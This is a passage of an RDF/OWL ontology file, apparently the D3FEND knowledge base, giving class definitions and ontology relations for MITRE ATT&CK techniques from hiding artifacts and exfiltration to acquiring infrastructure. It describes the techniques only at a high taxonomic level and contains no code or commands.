    d3f:creates d3f:File ;
    d3f:definition "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)" ;
    d3f:executes d3f:VirtualizationSoftware ;
    d3f:may-add d3f:VirtualizationSoftware ;
    d3f:may-create d3f:Directory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:VirtualizationSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:VirtualizationSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:Directory ],
        d3f:T1564 .

d3f:T1564.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "VBA Stomping" ;
    d3f:attack-id "T1564.007" ;
    d3f:definition "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)" ;
    d3f:modifies d3f:OfficeApplicationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OfficeApplicationFile ],
        d3f:T1564 .

d3f:T1564.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Hiding Rules" ;
    d3f:attack-id "T1564.008" ;
    d3f:definition "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)" ;
    d3f:may-create d3f:EmailRule ;
    d3f:may-modify d3f:EmailRule ;
    d3f:modifies d3f:ApplicationConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EmailRule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:EmailRule ],
        d3f:T1564 .

d3f:T1564.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Forking" ;
    d3f:attack-id "T1564.009" ;
    d3f:definition "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)" ;
    d3f:may-create d3f:ResourceFork ;
    d3f:may-modify d3f:ResourceFork ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:ResourceFork ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ResourceFork ],
        d3f:T1564 .

d3f:T1564.010 a owl:Class ;
    rdfs:label "Process Argument Spoofing" ;
    d3f:attack-id "T1564.010" ;
    d3f:definition "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)" ;
    rdfs:subClassOf d3f:T1564 .

d3f:T1564.011 a owl:Class ;
    rdfs:label "Ignore Process Interrupts" ;
    d3f:attack-id "T1564.011" ;
    d3f:definition "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes." ;
    rdfs:subClassOf d3f:T1564 .

d3f:T1564.012 a owl:Class ;
    rdfs:label "File/Path Exclusions" ;
    d3f:attack-id "T1564.012" ;
    d3f:definition "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)" ;
    rdfs:subClassOf d3f:T1564 .

d3f:T1564.013 a owl:Class ;
    rdfs:label "Bind Mounts" ;
    d3f:attack-id "T1564.013" ;
    d3f:definition "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access." ;
    rdfs:subClassOf d3f:T1564 .

d3f:T1564.014 a owl:Class ;
    rdfs:label "Extended Attributes" ;
    d3f:attack-id "T1564.014" ;
    d3f:definition "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`,  `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)" ;
    rdfs:subClassOf d3f:T1564 .

d3f:T1566.004 a owl:Class ;
    rdfs:label "Spearphishing Voice" ;
    d3f:attack-id "T1566.004" ;
    d3f:definition "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient." ;
    rdfs:subClassOf d3f:T1566 .

d3f:T1567.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration to Code Repository" ;
    d3f:attack-id "T1567.001" ;
    d3f:definition "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection." ;
    d3f:may-produce d3f:OutboundInternetEncryptedRemoteTerminalTraffic,
        d3f:OutboundInternetEncryptedWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedWebTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedRemoteTerminalTraffic ],
        d3f:T1567 .

d3f:T1567.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration to Cloud Storage" ;
    d3f:attack-id "T1567.002" ;
    d3f:definition "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet." ;
    d3f:produces d3f:OutboundInternetEncryptedWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedWebTraffic ],
        d3f:T1567 .

d3f:T1567.003 a owl:Class ;
    rdfs:label "Exfiltration to Text Storage Sites" ;
    d3f:attack-id "T1567.003" ;
    d3f:definition "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information." ;
    rdfs:subClassOf d3f:T1567 .

d3f:T1567.004 a owl:Class ;
    rdfs:label "Exfiltration Over Webhook" ;
    d3f:attack-id "T1567.004" ;
    d3f:definition "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application." ;
    rdfs:subClassOf d3f:T1567 .

d3f:T1568.001 a owl:Class ;
    rdfs:label "Fast Flux DNS" ;
    d3f:attack-id "T1568.001" ;
    d3f:definition "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)" ;
    rdfs:subClassOf d3f:T1568 .

d3f:T1568.003 a owl:Class ;
    rdfs:label "DNS Calculation" ;
    d3f:attack-id "T1568.003" ;
    d3f:definition "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)" ;
    rdfs:subClassOf d3f:T1568 .

d3f:T1569.003 a owl:Class ;
    rdfs:label "Systemctl" ;
    d3f:attack-id "T1569.003" ;
    d3f:definition "Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications." ;
    rdfs:subClassOf d3f:T1569 .

d3f:T1570 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Tool Transfer" ;
    d3f:attack-id "T1570" ;
    d3f:definition "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation." ;
    d3f:produces d3f:IntranetFileTransferTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetFileTransferTraffic ],
        d3f:LateralMovementTechnique .

d3f:T1572 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Protocol Tunneling" ;
    d3f:attack-id "T1572" ;
    d3f:definition "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1573.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Symmetric Cryptography" ;
    d3f:attack-id "T1573.001" ;
    d3f:creates d3f:OutboundInternetEncryptedTraffic ;
    d3f:definition "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedTraffic ],
        d3f:T1573 .

d3f:T1573.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asymmetric Cryptography" ;
    d3f:attack-id "T1573.002" ;
    d3f:creates d3f:OutboundInternetEncryptedTraffic ;
    d3f:definition "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal." ;
    d3f:may-transfer d3f:CertificateFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-transfer ;
            owl:someValuesFrom d3f:CertificateFile ],
        d3f:T1573 .

d3f:T1574.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable Installer File Permissions Weakness" ;
    d3f:attack-id "T1574.005" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM." ;
    d3f:modifies d3f:ServiceApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ServiceApplication ],
        d3f:T1574 .

d3f:T1574.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dynamic Linker Hijacking" ;
    d3f:attack-id "T1574.006" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)" ;
    d3f:modifies d3f:OperatingSystemConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        d3f:T1574 .

d3f:T1574.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Path Interception by PATH Environment Variable" ;
    d3f:attack-id "T1574.007" ;
    d3f:creates d3f:ExecutableFile ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1574 .

d3f:T1574.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Path Interception by Search Order Hijacking" ;
    d3f:attack-id "T1574.008" ;
    d3f:creates d3f:ExecutableFile ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1574 .

d3f:T1574.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Path Interception by Unquoted Path" ;
    d3f:attack-id "T1574.009" ;
    d3f:creates d3f:ExecutableFile ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1574 .

d3f:T1574.012 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "COR_PROFILER" ;
    d3f:adds d3f:SharedLibraryFile ;
    d3f:attack-id "T1574.012" ;
    d3f:definition "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1574 .

d3f:T1574.013 a owl:Class ;
    rdfs:label "KernelCallbackTable" ;
    d3f:attack-id "T1574.013" ;
    d3f:definition "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)" ;
    rdfs:subClassOf d3f:T1574 .

d3f:T1574.014 a owl:Class ;
    rdfs:label "AppDomainManager" ;
    d3f:attack-id "T1574.014" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains)" ;
    rdfs:subClassOf d3f:T1574 .

d3f:T1575 a owl:Class ;
    rdfs:label "Native API - ATTACK Mobile" ;
    d3f:attack-id "T1575" ;
    d3f:definition "Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileExecutionTechnique ;
    skos:prefLabel "Native API" .

d3f:T1576 a owl:Class ;
    rdfs:label "Uninstall Malicious Application - ATTACK Mobile" ;
    d3f:attack-id "T1576" ;
    d3f:definition "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:" ;
    rdfs:comment "This technique has been revoked by T1630.001" ;
    rdfs:seeAlso d3f:T1630.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Uninstall Malicious Application" .

d3f:T1577 a owl:Class ;
    rdfs:label "Compromise Application Executable - ATTACK Mobile" ;
    d3f:attack-id "T1577" ;
    d3f:definition "Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Compromise Application Executable" .

d3f:T1578.001 a owl:Class ;
    rdfs:label "Create Snapshot" ;
    d3f:attack-id "T1578.001" ;
    d3f:definition "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence." ;
    rdfs:subClassOf d3f:T1578 .

d3f:T1578.002 a owl:Class ;
    rdfs:label "Create Cloud Instance" ;
    d3f:attack-id "T1578.002" ;
    d3f:definition "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)" ;
    rdfs:subClassOf d3f:T1578 .

d3f:T1578.003 a owl:Class ;
    rdfs:label "Delete Cloud Instance" ;
    d3f:attack-id "T1578.003" ;
    d3f:definition "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable." ;
    rdfs:subClassOf d3f:T1578 .

d3f:T1578.005 a owl:Class ;
    rdfs:label "Modify Cloud Compute Configurations" ;
    d3f:attack-id "T1578.005" ;
    d3f:definition "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim." ;
    rdfs:subClassOf d3f:T1578 .

d3f:T1579 a owl:Class ;
    rdfs:label "Keychain - ATTACK Mobile" ;
    d3f:attack-id "T1579" ;
    d3f:definition "Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials." ;
    rdfs:comment "This technique has been revoked by T1634.001" ;
    rdfs:seeAlso d3f:T1634.001 ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Keychain" .

d3f:T1580 a owl:Class ;
    rdfs:label "Cloud Infrastructure Discovery" ;
    d3f:attack-id "T1580" ;
    d3f:definition "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1581 a owl:Class ;
    rdfs:label "Geofencing - ATTACK Mobile" ;
    d3f:attack-id "T1581" ;
    d3f:definition "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)" ;
    rdfs:comment "This technique has been revoked by T1627.001" ;
    rdfs:seeAlso d3f:T1627.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Geofencing" .

d3f:T1582 a owl:Class ;
    rdfs:label "SMS Control - ATTACK Mobile" ;
    d3f:attack-id "T1582" ;
    d3f:definition "Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "SMS Control" .

d3f:T1583.001 a owl:Class ;
    rdfs:label "Domains" ;
    d3f:attack-id "T1583.001" ;
    d3f:definition "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.002 a owl:Class ;
    rdfs:label "DNS Server" ;
    d3f:attack-id "T1583.002" ;
    d3f:definition "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.003 a owl:Class ;
    rdfs:label "Virtual Private Server" ;
    d3f:attack-id "T1583.003" ;
    d3f:definition "Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.004 a owl:Class ;
    rdfs:label "Server" ;
    d3f:attack-id "T1583.004" ;
    d3f:definition "Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked)" ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.005 a owl:Class ;
    rdfs:label "Botnet" ;
    d3f:attack-id "T1583.005" ;
    d3f:definition "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)" ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.006 a owl:Class ;
    rdfs:label "Web Services" ;
    d3f:attack-id "T1583.006" ;
    d3f:definition "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.007 a owl:Class ;
    rdfs:label "Serverless" ;
    d3f:attack-id "T1583.007" ;
    d3f:definition "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1583.008 a owl:Class ;
    rdfs:label "Malvertising" ;
    d3f:attack-id "T1583.008" ;
    d3f:definition "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites." ;
    rdfs:subClassOf d3f:T1583 .

d3f:T1584.001 a owl:Class ;
    rdfs:label "Domains" ;
    d3f:attack-id "T1584.001" ;
    d3f:definition "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)" ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.002 a owl:Class ;
    rdfs:label "DNS Server" ;
    d3f:attack-id "T1584.002" ;
    d3f:definition "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.003 a owl:Class ;
    rdfs:label "Virtual Private Server" ;
    d3f:attack-id "T1584.003" ;
    d3f:definition "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)" ;
